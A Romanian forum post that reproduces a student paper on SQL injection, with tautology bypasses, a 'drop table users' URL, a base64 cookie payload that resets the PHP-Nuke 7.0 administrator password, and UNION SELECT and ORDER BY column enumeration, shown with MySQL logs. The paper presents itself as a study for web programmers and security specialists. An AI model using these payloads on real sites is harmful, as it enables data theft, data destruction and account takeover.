| Ad_Infinitum |
| Administrator |

 |
 |
| Data inscrierii: 23/Iun/2007 |
| Mesaje: 212 |
|
|
|
 |
 |
 |
|
ATACURILE SQL INJECTION
Telinov Dmitri, Universitatea Tehnica a Moldovei
Introducere
Se stie ca astazi majoritatea aplicatiilor-web îsi pastreaza datele în baza de date, deoarece acest fapt îngăduie de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca în majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language).
SQL Injection este o vulnerabilitate ce apare în cazurile cînd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta – raufacatorul potential poate transforma cererea la baza de date, asfel fiind posibil furtul datelor private.
Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori în procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, îndeplinirea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este în primul rînd destinat web-programmerilor si expertilor în securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate.
În lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle căci acestea sunt cele mai raspîndite. Aceasta nu înseamna ca celelalte SGBD sunt mai securizate.
1. Bazele SQL-injection
Pentru a întelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si dobândirea lucrului cu bazele de date în PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia (tabelul) users de urmatoarea structura:
O interogare ce extrage datele din baza de date poate avea forma:
SELECT *
FROM users
WHERE name = '$name'
În acest caz valorile din cîmpul “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi asigură un exemplu modest cum raufacatorul poate modifica interogarea.
Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea:
SELECT *
FROM users
WHERE name = 'su'
Interogarea este corecta. Însa daca valoarea variabilei va primi valoarea aaa' interogarea va ajunge incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' în plus:
SELECT *
FROM users
WHERE name = 'aaa''
Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizînd simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor înregistrati, transmitînd una din urmatoarele valori pentru parametrul $name (presupunem ca în sistem sunt înregistrati utilizatorii admin, su si lma0):
random_data' OR name='admin
random_data' OR name='su
random_data' OR name='lma0
Cererile SQL la baza de date vor fi:
SELECT * FROM users WHERE name='random_data' OR name='admin'
SELECT * FROM users WHERE name='random_data' OR name='su'
SELECT * FROM users WHERE name='random_data' OR name='lma0'
Înjectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea:
random_data' OR '1'='1
Cererea cu codul injectat:
SELECT * FROM users WHERE name='random_data' OR '1'='1'
va întoarce toate tuplurile (înregistrarile) din tabelul users.
2. Proceduri de testare a aplicatiilor web la SQL-injection
Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atît parametrii GET cît si POST), incluzînd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor unice sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii.
2.1. Identificarea parametrilor vulnerabili
Sa presupunem ca aplicatia-web este configurata astfel, încît în cazul aparitiei unei erori SQL, în browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema.
Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa':
http://127.0.0.1/inj.asp?id=aaa '
Pentru a determina daca parametrul este vulnerabil este trebuință de a cauta în pagina returnata de server a frazelor de genul “ODBC”, “have an error”, “SQL syntax”, “SQL Server”, “MySQL”, “Oracle” etc. Exista cazuri cînd erorile returnate de server se plaseaza în parametrii ascunsi (hidden input, headers) sau comentarii. În acest caz raufacatorului îi este destul de usor de a injecta un cod SQL malicios:
http://127.0.0.1/inj.asp?id=aaa ';+drop+table+users;--
Ar necesită de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date.
Este deosebit de raspîndita situatia, cînd din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web:
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result
resource in ...
Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD.
2.2. Identificarea parametrilor vulnerabili în cazurile cînd nu se afiseaza erorile
Sa presupunem ca erorile ce apar în cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului îi ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web.
Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cînd serverul returneaza erorile 302 (page redirect) si 500 (internal server error). În acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le întelege este necesitate de a cunoaste tipurile de baza SQL. Atributele în SQL pot avea unul din cele 3 modele de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul în procesul de exploatare a vulnerabilitatii. În SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise între ghilimele (unele SGBD încuviințează transmiterea si a valorilor numerice între ghilimele):
SELECT * FROM users WHERE id=5 /* valoare numerica */
SELECT * FROM users WHERE name='admin' /* valoare sir de caractere*/
Testarea la SQL Injection a parametrilor numerici este teribil de simpla. Voi aduce un exemplu cu 2 cazuri posibile:
http://127.0.0.1/inj.php?id=5 '
http://127.0.0.1/inj.php?id=6-1
http://127.0.0.1/inj.php?id=4+1
Daca parametrul id este vulnerabil în primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 – cînd erorile SGBD nu se afiseaza) pentru că cererea:
/* 1 */ SELECT * FROM users WHERE id=5'
nu este corecta din punct de vedere sintactic.
Cererile 2a si 2b:
/* 2a */ SELECT * FROM users WHERE id=6-1
/* 2b */ SELECT * FROM users WHERE id=4+1
se for executa perfect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id=5), indicînd la 100% ca parametrul numeric id este vulnerabil.
O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit între ghilimele si concatenarea sirurilor de caractere în diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle – semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos.
Procedura de testare a parametrului name:
http://127.0.0.1/inj.php?name=lma0
are deasemenea 2 cazuri posibile.
În primul caz se parametrului i se oferă o valoare care o sa genereze eroare SQL:
http://127.0.0.1/inj.php?name=lm 'a0
Cererea SQL ce va genera eroare:
/* 1 */ SELECT * FROM users WHERE name='lm'a0'
deoarece este prezent un simbol ' în plus.
Într-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia:
http://127.0.0.1/inj.php?name=l '+'ma0
http://127.0.0.1/inj.php?name=lm '+'a0
Ca rezultat vor fi formate urmatoarele cereri la baza de date:
/* 2a */ SELECT * FROM users WHERE name='l'+'ma0'
/* 2b */ SELECT * FROM users WHERE name='lm'+'a0'
Ambele cereri SQL sunt corecte si returneaza acelasi rezultat.
2.3. Parametrii vulnerabili în cookie
Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection – nu se filtreaza datele din cookie.
Nu voi intra în detalii, doar voi mentiona ca în PHP Nuke, în cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies:
...
*
admin
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
...
Sirul de caractere este codificat în base64:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
Decodificat va fi:
admin:96e79218965eb72c92a549dd5a330112:
Unde admin – login, 96e79218965eb72c92a549dd5a330112 – md5(pass) (functia hash md5 a parolei), simbolul : este auxiliar.
Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php:
...
f(isset($admin) && $admin != "") { // daca exista variabila $admin
$admin = base64_decode($admin); // se decodeaza din base64 (din cookie)
$admin = explode(":", $admin); // se imparte sirul in pina si dupa “:”
$aid = "$admin[0]"; // login-ul
$pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie
...
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!!
...
Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri aparte si este vulnerabila.
Astfel raufacatorul cu usurinta poate modifica cookies. Plasînd în locul sirului de caractere:
caractere:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
sirul:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1
JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg==
Decodificat ca fi:
admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112:
Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’. Efectul actiunii date – schimbarea parolei administratorului.
3. Metode de atac
Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproape sa cunoasca tipul cererii SQL în care va fi injectat codul malicios. Cel mai des în aplicatiile-web sunt utilizate 4 tipuri de cereri SQL:
1. SELECT
2. INSERT
3. UPDATE
4. DELETE
Care dintre astea este întrebuințat într-un caz concret, poate fi determinat analizînd logica si semantica scriptului vulnerabil.
Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT.
Daca scriptul adauga unele date în baza de date, spre exemplu adaugarea unui comentariu, sau un post în forum – cererea este de tipul INSERT.
Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului în forum – cererea este de tipul UPDATE.
Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE.
Cel mai des sunt întîlnite vulnerabilitati în cereri SELECT.
3.1. Injectarea UNION SELECT
Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii în debutantul rînd vor încerca de a injecta clauze UNION SELECT, deoarece în caz de succes raufacatorul va obtine acces la toate tabelele de sistem. În aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD:
1. MS SQL Server
INFORMATION_SCHEMA
sysobjects
syscolumns
2. MySQL
mysql.user
mysql.host
mysql.db
3. Oracle
SYS.USER_OBJECTS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.TAB
SYS.ALL_TABLES
Înainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de elemente în cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de conceput în cazurile cînd nu se afiseaza erorile în browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip.
3.1.1. Identificarea numarului de atribute
Mai întîi voi arata cît de rudimentar se afla numarul de semnale în cazul cînd se afiseaza erorile în browser. Sa presupunem ca exista urmatoarea vulnerabilitate în aplicatia-web ce utilizeaza SGBD MySQL:
http://127.0.0.1/inj.php?id=5 '
Pentru a afla numarul de semne raufacatorul va forma cererile:
http://127.0.0.1/inj.php?id=-1 '+UNION+SELECT+0/*
http://127.0.0.1/inj.php?id=-1 '+UNION+SELECT+0,1/*
http://127.0.0.1/inj.php?id=-1 '+UNION+SELECT+0,1,2/*
http://127.0.0.1/inj.php?id=-1 '+UNION+SELECT+0,1,2,3/*
...
pîna ce va disparea mesajul de eroare:
The used SELECT statements have a different number of columns
Logurile MySQL:
mysql> select * from users where id=-1 union select 0;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3,4;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3,4,5;
+----+------+--------+----------+-------+------------+
| id | name | mgroup | password | email | ip_address |
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2 | 3 | 4 | 5 |
+----+------+--------+----------+-------+------------+
1 row in set (0.00 sec)
În cazul cînd erorile cererii SQL nu se afiseaza în browser raufacatorul se va folosi de clauza ORDER BY pîna ce va aparea un mesaj de eroare:
http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/ *
http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/ *
http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/ *
...
Logurile MySQL:
mysql> select * from users where id=-1 order by 1;
Empty set (0.01 sec)
mysql> select * from users where id=-1 order by 2;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 3;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 4;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 5;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 6;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 7;
ERROR 1054: Unknown column '7' in 'order clause'
Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este cumplit de efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cînd aplicatia-web întoarce o eroare (302 – page redirect sau 500 – internal server error) numarul exact coloanelor se stie. |
|